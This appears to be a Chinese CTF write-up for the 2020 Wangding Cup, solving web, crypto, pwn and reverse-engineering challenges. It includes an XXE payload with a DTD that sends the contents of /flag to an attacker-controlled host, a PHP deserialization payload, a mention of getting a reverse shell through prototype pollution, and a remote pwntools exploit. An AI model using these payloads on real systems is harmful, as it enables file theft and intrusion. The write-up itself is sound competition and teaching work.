2020網鼎杯wp

MISC

簽到

  • 點進去是選戰隊圖標
  • 全部通過後會讓輸入token

qd1.png

  • 然後能在console看到flag

qd_flag.png

WEB

filejava

  • 打開題目,查看基本的功能後發現有一個文件下載功能,嘗試穿越目錄發現web.xml

  • 再次尋找這幾個servlet的字節碼在classes/cn/abc/servlet/xxx.class

2

  • 將class反編譯之後發現具有xxe漏洞

Y8n48U.png

  • xlsx文件以壓縮包方式打開,更改各個文件夾中的xml文件,然後再本地vps監聽端口
<!DOCTYPE data SYSTEM "http://***.***.***.***/no_show_poc.dtd">
<data>&send;</data>
no_show_poc.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://***.***.***.***:9999?p=%file;'>">
%all;
  • 最後如圖

Y8uNM4.png

AreUSerialz

  • 打開題目後,直接給出了源碼
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 顯而易見的是一個反序列化的題目
  • FileHandler類中有寫文件參數和讀文件參數,然後已知已經存在了flag.php
  • op爲1時是寫文件,op爲2時是讀文件
  • 但是在__destruct中,對op進行了過濾
  • 可以根據=====強弱進行繞過
  • 設置op是int的2
  • 然後讀取flag.php(絕對路徑,cmdline+讀取/web/config/httpd.conf得知
  • 但是is_valid()函數會過濾%00,而類中的屬性是protected,但是在php7.1+中,對屬性類型不敏感,所以可以使用public繞過
  • 構造payload
<?php
class FileHandler{
    public $op;
    public $filename;
    public $content;
    public function __construct()
    {
        $this->op=2;
        $this->filename='/web/html/flag.php';
        $this->content='tmp';


    }
}
echo serialize(new FileHandler());
  • payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:3:"tmp";}
  • 讀取到flag

notes

Y88d10.png

  • 用到了undefsage模塊,

    Y88xu8.png

  • id,author,raw是我們控制的,符合原型鏈污染的方法,進而利用。

    Y8GhPs.png

  • 最後有bash的命令執行,可以反彈shell,

    Y80YrR.png

    Y8BsYT.png

    Y82cLD.png

  • 最後查看/flag,得到flag

{9b093016-4f86-41d3-a203-154094bba637}

CRYPTO

boom

第一步求MD5值46e5efe6165a5afb361217446a2dbd01

MD5求解後是en5oy

第二步

第三步

到這裏就可以求出所有解了,但是flag閃的太快,沒辦法只能把程序逆一下了

打開字符串窗口可以看到flag的輸出格式,判斷爲之前的輸入值,所以flag爲

flag{en5oy_746831_89127561}


you raise me up

打開題發現是個python腳本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
# n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096

sagemath秒了,2512以bsgs的複雜度就是2256

n = 2 ** 512

m= 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c=6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
ZmodN = Zmod(2^512)

m=ZmodN(m)
c=ZmodN(c)

c.log(m)

hex(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)

求出flag的hex

0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d

轉爲str

flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}

PWN

boom1

// 沒研究沒明白233333

  • 解題腳本:
from pwn import*
context.clear(terminal = ['xterm', '-e'],arch='amd64',log_level='error')

p = remote('182.92.73.10',24573)
#p = process(r'/root/tmp/game/wangdingbei/pwn/pwn')
payload = '''char *str;char *libc;char *ptr;int main()
{str = "XJU-SEC";n = str - (0x7F8FE6E5C028 - 0x7F8FE6933000);str = n + 6229832 - 3848 + 8;str[0] = 0;str = n + 6229832;ptr = 0xCD0F3 + n;str[0] = (ptr)&0xFF;str[1] = (ptr>>8)&0xFF;str[2] = (ptr>>16)&0xFF;}'''
p.sendline(payload)

p.interactive()

  • 分析題目是一個可以運行輸入的C語言解釋器

  • 再C代碼中定義的全局變量是位於libc上面的,可以通過計算str指針的偏移量,然後修改變量libc指針的指向,指向libc_base。

  • 使ptr指針指向0xcd0F3+libc的基址,斌且之前使__rtld_global+8=0,使0xcdf3可以執行。

  • 可以得到flag

Y8TmLt.png

RE

signal

IDA打開程序,進入主函數

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-1D4h]

  __main();
  qmemcpy(&v4, &unk_403040, 0x1C8u); //將unk_403040放入v4中
  vm_operad(&v4, 114);       //主要操作
  puts("good,The answer format is:flag {}");
  return 0;
}

跟進vm_operad()函數;發現函數對數組進行了一串複雜操作,0x403040是存放指令和數據的地址,每四個字節是一組。對照vm_operad函數人工分析,操作順序。得出邏輯是講輸入處理後與0x403040最後的一些數據作比較。

int __cdecl vm_operad(int *a1, int a2)
{
  int result; // eax
  char Str[100]; // [esp+13h] [ebp-E5h]
  char v4[100]; // [esp+77h] [ebp-81h]
  char v5; // [esp+DBh] [ebp-1Dh]
  int v6; // [esp+DCh] [ebp-1Ch]
  int v7; // [esp+E0h] [ebp-18h]
  int v8; // [esp+E4h] [ebp-14h]
  int v9; // [esp+E8h] [ebp-10h]
  int v10; // [esp+ECh] [ebp-Ch]

  v10 = 0;
  v9 = 0;
  v8 = 0;
  v7 = 0;
  v6 = 0;
  while ( 1 )          //處理過程
  {
    result = v10;
    if ( v10 >= a2 )
      return result;
    switch ( a1[v10] )
    {
      case 1:
        v4[v7] = v5;
        ++v10;
        ++v7;
        ++v9;
        break;
      case 2:
        v5 = a1[v10 + 1] + Str[v9];
        v10 += 2;
        break;
      case 3:
        v5 = Str[v9] - LOBYTE(a1[v10 + 1]);
        v10 += 2;
        break;
      case 4:
        v5 = a1[v10 + 1] ^ Str[v9];
        v10 += 2;
        break;
      case 5:
        v5 = a1[v10 + 1] * Str[v9];
        v10 += 2;
        break;
      case 6:
        ++v10;
        break;
      case 7:
        if ( v4[v8] != a1[v10 + 1] )
        {
          printf("what a shame...");
          exit(0);
        }
        ++v8;
        v10 += 2;
        break;
      case 8:
        Str[v6] = v5;
        ++v10;
        ++v6;
        break;
      case 10:
        read(Str);
        ++v10;
        break;
      case 11:
        v5 = Str[v9] - 1;
        ++v10;
        break;
      case 12:
        v5 = Str[v9] + 1;
        ++v10;
        break;
      default:
        continue;
    }
  }
}

我們只需要把處理過程再現就可以了

code = [34,63,52,50,114,51,24,0xa7,49,0xf1,40,0x84,0xc1,30,122]
flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag[0] = (code[0]+5) ^ 16
flag[1] = (code[1]//3) ^ 32
flag[2] = code[2] +1+2
flag[3] = (code[3]^ 4) -1
flag[4] = (code[4]+33) //3
flag[5] = code[5]+1+1
flag[6] = (code[6]+32) ^ 9
flag[7] = (code[7] ^36) - 81
flag[8] = code[8]+1 -1
flag[9] = (code[9]-37) // 2
flag[10] = (code[10] ^ 65) -54
flag[11] = code[11] -32
flag[12] = (code[12] -37) //3
flag[13] = (code[13] +32) ^ 9
flag[14] = code[14] - 1 -65

for i in flag:
    print(i)
print("flag{",end='')    
for i in flag:
    print(chr(i),end='')
print("}")
#flag{757515121f3d478}

jocker

IDA打開題目,發現堆棧不平衡,修復之後還是無法反編譯,估計有些混淆的垃圾代碼

但是一部分可以反編譯

int __cdecl omg(char *a1)
{
  int result; // eax
  int v2[24]; // [esp+18h] [ebp-80h]
  int i; // [esp+78h] [ebp-20h]
  int v4; // [esp+7Ch] [ebp-1Ch]

  v4 = 1;
  qmemcpy(v2, &unk_4030C0, sizeof(v2));
  for ( i = 0; i <= 23; ++i )
  {
    if ( a1[i] != v2[i] )
      v4 = 0;
  }
  if ( v4 == 1 )
    result = puts("hahahaha_do_you_find_me?");
  else
    result = puts("wrong ~~ But seems a little program");
  return result;
}

char *__cdecl wrong(char *a1)
{
  char *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 23; ++i )
  {
    if ( i & 1 )
    {
      result = &a1[i];
      a1[i] -= i;
    }
    else
    {
      result = &a1[i];
      a1[i] ^= i;
    }
  }
  return result;
}

對jocker進行動態調試

可以解出後5位之前的flag

v3 = [
    14, 13, 9, 6, 19, 
    5, 88, 86, 62, 6,
    12, 60, 31, 87, 20,
    107, 87, 89, 13
]

str1 = "hahahaha_do_you_find_me?"
key1 = ""
for i in range(19):
    key1 += chr(v3[i] ^ ord(str1[i]))
print(key1)
#flag{d07abccf8a410c

58與 } 異或的結果是71
猜測剩下的5位數可能都是異或71
遂得到flag

flag{d07abccf8a410cb37a}

bang

apk逆向,使用dex2脫殼可以得到兩個dex文件,反編譯後可以得到用戶名密碼和flag

輸入賬號密碼app也會有flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章